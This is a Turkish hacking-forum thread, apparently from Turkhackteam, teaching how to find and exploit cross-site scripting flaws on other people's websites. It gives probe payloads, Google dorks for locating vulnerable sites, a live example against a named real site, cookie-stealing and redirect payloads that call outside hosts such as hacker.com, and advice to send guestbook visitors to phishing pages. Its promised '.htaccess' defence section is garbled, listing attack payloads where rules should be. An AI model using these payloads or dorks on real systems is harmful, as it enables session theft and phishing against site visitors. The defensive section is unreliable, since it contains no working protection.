Xss Açığı Manuel Bulma

yertua

Katılımcı Üye
7 Ocak 2013
372
0
Xss Açığı Manuel Bulma

# XSS ( Cross Site Scripting ) Nedir.

# XSS açığının işleyişi nasıldır.

# Açık sitenin hangi kısımlarında bulunur.

# Açığın bulunması ve uygulanması.



# Açıktan nasıl korunabiliriz.

,,



* XSS ( Cross Site Scripting ) Nedir;

Web uygulamalarının neden olduğu açıklardan biri olan "XSS" asıl adı "Cross Site Scripting" scriptlerin yazılmaya başlanmasından sonra ortaya çıkan çok eski bir açıktır.Açık eski olmasına rağmen günümüzde birçok web sitesinde mevcuttur.


* XSS açığının işleyişi nasıldır;

Web Scriptlerinin yazılımının sebebiyet verdiği bu açığın işleyişi,açığı kullanmak isteyen kişinin hazırlamış olduğu kodları kendi hazırlamış olduğu sayfalara ekliyerek, bilgilerini ele geçirmek istediği kişiye bir şekilde iletmesidir.Bu olaylar esnasında kurban hernekadar sadece bir linke veya bir sayfaya girmiş olduğunu düşünsede kişi kendi elleriyle bilgilerinin
karşı tarafa gitmesine neden olmaktadır.


* Açık sitenin hangi kısımlarında bulunur;

Açık genellikler POST ve GET metodlarının kullanıldığı bölümlerde görülür fakat,açığın gerek anasayfada gerekse arka planda yazılımdan kaynaklanan hata nedeniyle bulunması kaçınılmazdır.

Özellikle sitelerin Arama kısımlarında bulunan açığı galeri,mesajlar,haberler,yorumlar vs.. bölümlerinde'de görebiliriz.


* Açığın bulunması ve uygulanması;

Verilen maddelere uygun olması nedeniyle konunun bu kısmınada değinelim,

Yukarda genellikle arama kısımlarında bulunur diye bahsetmiştik, karşıdaki sitenin php veya asp oldugu düşünüp açıkla alakalı uygulama yapalım.

Php bir site için uygulacağımız alert verdirme kodu,yani sitede xss açığının bulunduğuna kanaat getireceğimiz kodların bir kaçından bahsedip aşağıda uygulamalarından detaylı bir şekilde bahsedeceğim.

Hedef sitemiz php ise;

Kod:
< script>alert("HUNTER.")</script>




Hedef sitemiz asp ise;

Kod:
">< script>alert("HUNTER.")</script>






örnek; http://www.hedefsite.com/arama.php?=< script>alert("HUNTER.")</script>

örnek; http://www.hedefsite.com/arama.asp?=">< script>alert("HUNTER.")</script>


Yukarda verilen örneklerde yazmış olduğumuz alert verdirme kodları hedef siteye uygulandığı takdirde sonuç alıp alert verdirilirse bu hedes sitemizde XSS açığının mevcut olduğunu gösterir.Yukarda vermiş olduğum alert verdirme kodlarına aşağıda kapsamlı olarak değinilecektir.

XSS'yi henüz yeni öğrenen kişilerin alert nedir dememeleri için konuyla alakalı bir örnek vereyim;

ilgili site: http://www.europa-eu-un.org/home/articleslist.asp?">< script>alert("HUNTER.")</script>

Ekran görüntüsü;



Hedef siteye yönelik bir uygulama ise verecegim kodları sitede bahsetmiş oldugum noktalarda denemelisiniz.Amacınız ilgili açıkla alakalı daha fazla site bulmak ise güzel bir yol paylaşayım;

Google aramalarımızı şu şekilde genişletebiliriz:

inurl:searc.asp , inurl:search.php , inurl:arama.asp veya php

veya aramamızı biraz daha genişletiyoruz;

inurl:search.asp inurl:tr ( arama yapmak istedigimiz ülkenin domain uzantısını belirtirseniz o ülkeye yönelik arama sonuçlarına ulaşabilirsiniz )

Yukarda belirtmiş oldugum search.php veya search.asp veya arama.php sizin insifiyatifiniz doğrultusunda değişebilir, aramalarınızı, ( index,anasayfa,haber,galeri,mesaj,.. ) bu şekilde genişletebilirsiniz.


* Açıktan nasıl korunabiliriz;

XSS açıklarından korunmanın birkaç yolu mevcuttur içlerinden en basitini paylaşmak istiyorum,

".htaccess" ile Korunma;

".htaccess" dosyasının yapılandırılmasıyla XSS açığından korunmak mevcuttur.Aşağıda vereceğim kodları sitenizin kök dizininde bulunan veya scriptinizin bulunduğu dizindeki ".htaccess" dosyasına ekleyin.Bu sayede yapılan bir XSS saldırısında site hata sayfası verip erişimi engelliyecektir.

1.
Kod:

< script>alert(’XSS’)</script>

Bir uyarı mesajı çıkartarak içinde XSS yazılmasını sağlayan Javascript kodudur.


Saldırgan bu şekilde veri girişine izin verilen web yazılımlarına zararlı kod göndererek XSS açığını tespit edebilir.

2.
Kod:

< script src=http://www.site.com></script>

XSS açığından faydalanarak web yazılımı ziyaret eden kullanıcılara başka bir site üzerindeki zararlı kodu yükleyebilir.

3.
Kod:

< script>alert (d o c u ment.cookie);</script>

Web yazılımının çerez bilgisinin ekran uyarı kutusu içinde görüntülenmesini sağlar.

4. XSS Açığı ile Çerez Çalma: Çerezler (Cookie) zayıf http protokolünün oturum durumunun kontrolünü ve kimlik doğrulamayı sağlayan zayıf bileşenleridir.Saldırgan eğer sayfayı ziyaret eden kullanıcıların Çerez bilgisini okuyup kaydedebilirse kendi bilgileri ile yerlerini değiştirerek kurbanın yetkilerine ulaşabilir.Bu işlemi XSS açığı bulunan web yazılımını ziyaret eden herkesin Çerez bilgilerini başka bir web yazılımına kaydeden bir Javascript kodu göndererek gerçekleştirebilir.

Aşağıda belirtilen Javascript kodu sayfayı ziyaret eden kullanıcıların bilgilerini bir başka web yazılımına kaydedilmesini sağlamaktadır.

Kod:

<img src= "http://hacker.com/cgi-bin/spycoders.jpg">

ve saldırgan daha sonra bu XSS açığını kullanarak aldığı Çerez bilgilerini aşağıda belirtilen adresten okuyabilir ve kendi Çerez bilgileri ile değiştirebilir.

http://hacker.com/sniff/log.php

Bazı Çerez bilgileri içinde Kullanıcı adı ve şifre gibi önemli bilgilerin tutulduğunu düşünürsek XSS açıklarının ne kadar zararlı olabileceğini algılamış oluruz.Saldırgan elde ettiği bu bilgiler ile internet üzerinden kolayca ücretsiz bulabileceği Cookie Editor yazılımları ile kendi Çerez bilgilerini de kolayca değiştirerek kurbanın yetkilerine ulaşabilir.

5. XSS aöıkları URL üzerinden de test edilebilir.
6.
Kod:

http://www.kurban.com/members.php?id=< script>alert(’XSS’)</script>

Genelde XSS kodları < script>, <applet>, <object> ve <embed> kodları içinde web yazılımına gönderilir.

7.
Kod:

< script type="text/javascript">

<!--

windows.l o c a t i o n ="http://www.spycoders.com/"

//-->
</script>

Yukarıda belirtilen örnek Javascript kodu XSS açığı olan bu web sayfasına giren kullanıcıları www.spycoders.com sitesine yönlendirmektir.
8.
Kod:

<iframe src=http://www.spycoders.com <

Web sayfasının içinde başka bir çerçeve içinde www.spycoders.com adresine yönlendirme yapar.Bu şekilde saldırgan istediği zararlı kodu ActiveX ve benzeri yöntemler ile sistemlere bulaştırabilir.

9. Saldırganlar web yazılımlarındaki XSS zayıflıklarını tespit etmeye çalışırken web yazılımcıların olsa script girişlerini engellemek için kullandıkları yöntemleri anlamaya ve aşmaya çalışırlar.XSS saldırısını Evrensel Kod’a dönüştürmek saldırının maskelenmesini sağlayabilir.

Örneğin aşağıda bir XSS saldırı yöntemi ve onun Evrensel Kod’a dönüştürülmüş hali görüntülenmektedir.
Kod:

< script>alert(’XSS’)</script>

Evrensel Kod:

Evrensel Kod ancak böyle oldu çünkü otomatik olarak normal haline çeviriyor

Saldırganlar bu şekilde web yazılımcıların filtreleme yapabileceklerini düşünerek XSS saldırılarını farklı şekillerde web yazılımına göndermeye çalışırlar.

XSS Cross Site Scripting Demonstration - YouTube
 
Son düzenleme:

yertua

Katılımcı Üye
7 Ocak 2013
372
0
Örnekler=


a-) Search Kutularında
XSS açığı bir çok yerde bulunabilir..Eğer bir XSS Açığı arıyorsanız sizlere birkaç dork verip onun üzerinde denemeler yapabilirsiniz.Dork;

inurl:”search.php?id=”
inurl:”index.php?id=”
inurl:”kayit.php?id=”

bu dorklar çuğaltılabilir...
Search (Arama) Kutularında, id= değeri, ziyaretçi defterleri, Kayıt Formları, Yorum Formları vb yerlerdede bulunabilir.Bir Search kutusu düşünün;

gqGyr.jpg


Search kutusuna XSS açığının olup olmadığını anlamak için bir alert kodu yazalım;; < script>alert(“Buralar eskiden hep XSS di.”);</script> ..
Yazdıktan sonra arama butonuna tıklıyoruz.Eğer açık mevcut ise ekrana bir alert yansıyacaktır, şu şekilde;

3dNiC.jpg


b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası düşünün ; www.hedefsite.com/deger.php?id=3 şeklinde olsun..Id= değerinin sağ tarafında bulunan rakam, harf, kelime veya her ne ise silip, onun yerine açık olduğunu anlamamız için alert kodunu yazıyoruz;

www.hedefsite.com/deger.php?id=< script>alert(“Buralar Eskiden Hep XSS di ”);</script>
Daha sonra bu gönderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa açık olduğunu tekrar anlıyoruz.;

3dNiC.jpg


c-) Ziyaretçi Defterlerinde (STORED XSS)

6XHeE.jpg


Üstte görülen resim bir sitede bulunan ziyaretçi defteridir.Ziyaretçi Defterleri web sayfaları için çok tehlike arz eden yerlerdir.Bu zaafiyet türüne STORED XSS Zaafiyeti denilir.Buraya yazdığımız bir HTML veya Javascript kodu herkez tarafından görülebildiği için sayfada çalıştığında ziyaretçi defterine giren herkez tarafından sizin girdiğiniz kod çalışacaktır.Yani gireceğiniz HTML **** yönlendirme kodu sayfaya giren şahısları hedef adreslere yönlendirecektir.Bu saldırıya biraz daha süs katmak için Phising sayfanıza veya Fake sayfanıza yönlendirme yapabilirsiniz.Şimdi burada görülen kutucuklara XSS Alert kodunu yazıyoruz.;

tjQ06.jpg


Eğer açık varsa sayfa bizim kodumuzu çalıştıracaktır.Yani ekrana alert gelecektir.;

YwB4t.jpg


d-) Kayıt Formlarında

36JTD.jpg



Kayıt Formları XSS Açığı için olanak sağlıyor.Kayıt Formları genellikle Forum sitelerde mevcuttur.Forum siteleri çoğunluk olarak hazır sistem kullanırlar.(MyBB, Vb, SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya sürüm olarak belirli bir sürümü varsa ki genelde olur; Exploit sitelerinden O sistemin sürümünü araştırabilir, XSS Açıkları mevcutsa Exploit yardımıyla açığı sömürebilirsiniz.Biz sistem kullanılmayan bir forum sitesinden devam edelim :) Üstte görüldüğü gibi bir kayıt formu mevcut.Buradaki kutucuklara tıpkı ziyaretçi formlarındaki gibi XSS Alert kodlarımızı entegre ediyoruz.Eğer açık mevcutsa alert alınır.

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warrior’dan alıntı yaparak anlatayım..

styxN.jpg


Görüldüğü gibi bir konun altında mevcut olan yorum yazma texti..
Burada Mesaj *: text bölümüne XSS Alert kodumuzu yazıyoruz;

UNgas.jpg
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.